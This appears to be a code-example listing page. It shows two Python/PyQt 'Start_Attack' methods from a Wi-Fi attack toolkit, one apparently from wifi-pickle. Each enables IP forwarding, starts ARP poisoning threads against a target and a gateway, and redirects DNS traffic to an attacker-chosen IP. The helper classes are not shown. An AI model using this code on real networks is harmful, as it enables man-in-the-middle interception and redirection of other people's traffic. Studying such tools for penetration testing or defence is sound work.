コード例 #1
0
    def Start_Attack(self):
        if  (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0:
            QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly')
        else:
            chdir(self.owd)
            if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0:
                if len(self.txt_redirect.text()) != 0:
                    self.StatusMonitor(True,'stas_arp')
                    Refactor.set_ip_forward(1)
                    arp_gateway = ThARP_posion(str(self.txt_gateway.text()),str(self.txt_target.text()),
                    get_if_hwaddr(str(self.ComboIface.currentText())))
                    arp_gateway.setObjectName('Arp Poison:: [gateway]')
                    self.ThreadDirc['Arp_posion'].append(arp_gateway)
                    arp_gateway.start()

                    arp_target = ThARP_posion(str(self.txt_target.text()),str(self.txt_gateway.text()),
                    str(self.txt_mac.text()))
                    self.connect(arp_target,SIGNAL('Activated ( QString ) '), self.StopArpAttack)
                    arp_target.setObjectName('Arp::Poison => [target]')
                    self.ThreadDirc['Arp_posion'].append(arp_target)
                    arp_target.start()

                    redirectPackets = ThSpoofAttack('',
                    str(self.ComboIface.currentText()),'udp port 53',True,str(self.txt_redirect.text()))
                    self.connect(redirectPackets,SIGNAL('Activated ( QString ) '), self.StopArpAttack)
                    redirectPackets.setObjectName('Packets Spoof')
                    self.ThreadDirc['Arp_posion'].append(redirectPackets)
                    redirectPackets.start()
                    return
                QMessageBox.information(self,'Error Redirect IP','Redirect IP is not found')
コード例 #2
0
ファイル: dns_spoofer.py プロジェクト: olegkyka/wifi-pickle
    def Start_Attack(self):
        self.targets, self.domains = {}, []
        if self.myListDns.count() != 0:
            for index in xrange(self.myListDns.count()):
                self.domains.append(str(self.myListDns.item(index).text()))
            for i in self.domains:
                self.targets[i] = ''
        self.myDNsoutput.clear()
        if not self.configure.Settings.get_setting(
                'accesspoint', 'statusAP', format=bool):
            if (len(self.txt_target.text())
                    and len(self.txt_gateway.text())) == 0:
                return QtGui.QMessageBox.warning(
                    self, 'Error Dnsspoof', 'you need set the input correctly')
            if (len(self.txt_target.text()) and len(self.txt_gateway.text())
                ) and len(self.txt_redirect.text()) != 0:
                Refactor.set_ip_forward(1)

                arp_gateway = ThARP_posion(
                    str(self.txt_target.text()), str(self.txt_gateway.text()),
                    get_if_hwaddr(str(self.ComboIface.currentText())))
                arp_gateway.setObjectName('Arp Posion:: [gateway]')
                threadloading['arps'].append(arp_gateway)
                arp_gateway.start()

                arp_target = ThARP_posion(
                    str(self.txt_gateway.text()), str(self.txt_target.text()),
                    get_if_hwaddr(str(self.ComboIface.currentText())))
                arp_target.setObjectName('Arp Posion:: [target]')
                threadloading['arps'].append(arp_target)
                arp_target.start()

                self.thr = ThSpoofAttack(self.targets,
                                         str(self.ComboIface.currentText()),
                                         'udp port 53', True,
                                         str(self.txt_redirect.text()))
        else:
            self.thr = ThreadDNSspoofNF(self.targets,
                                        str(self.ComboIface.currentText()),
                                        str(self.txt_redirect.text()),
                                        APmode=True)
            self.thr.DnsReq.connect(self.get_outputDNSspoof)
        self.connect(self.thr, QtCore.SIGNAL('Activated ( PyQt_PyObject ) '),
                     self.StopArpAttack)
        self.thr.setObjectName('Dns Spoof')
        self.ThreadDirc['dns_spoof'].append(self.thr)
        self.StatusMonitor(True, 'dns_spoof')
        self.btn_Attack_Posion.setEnabled(False)
        self.btn_Stop_Posion.setEnabled(True)
        self.thr.start()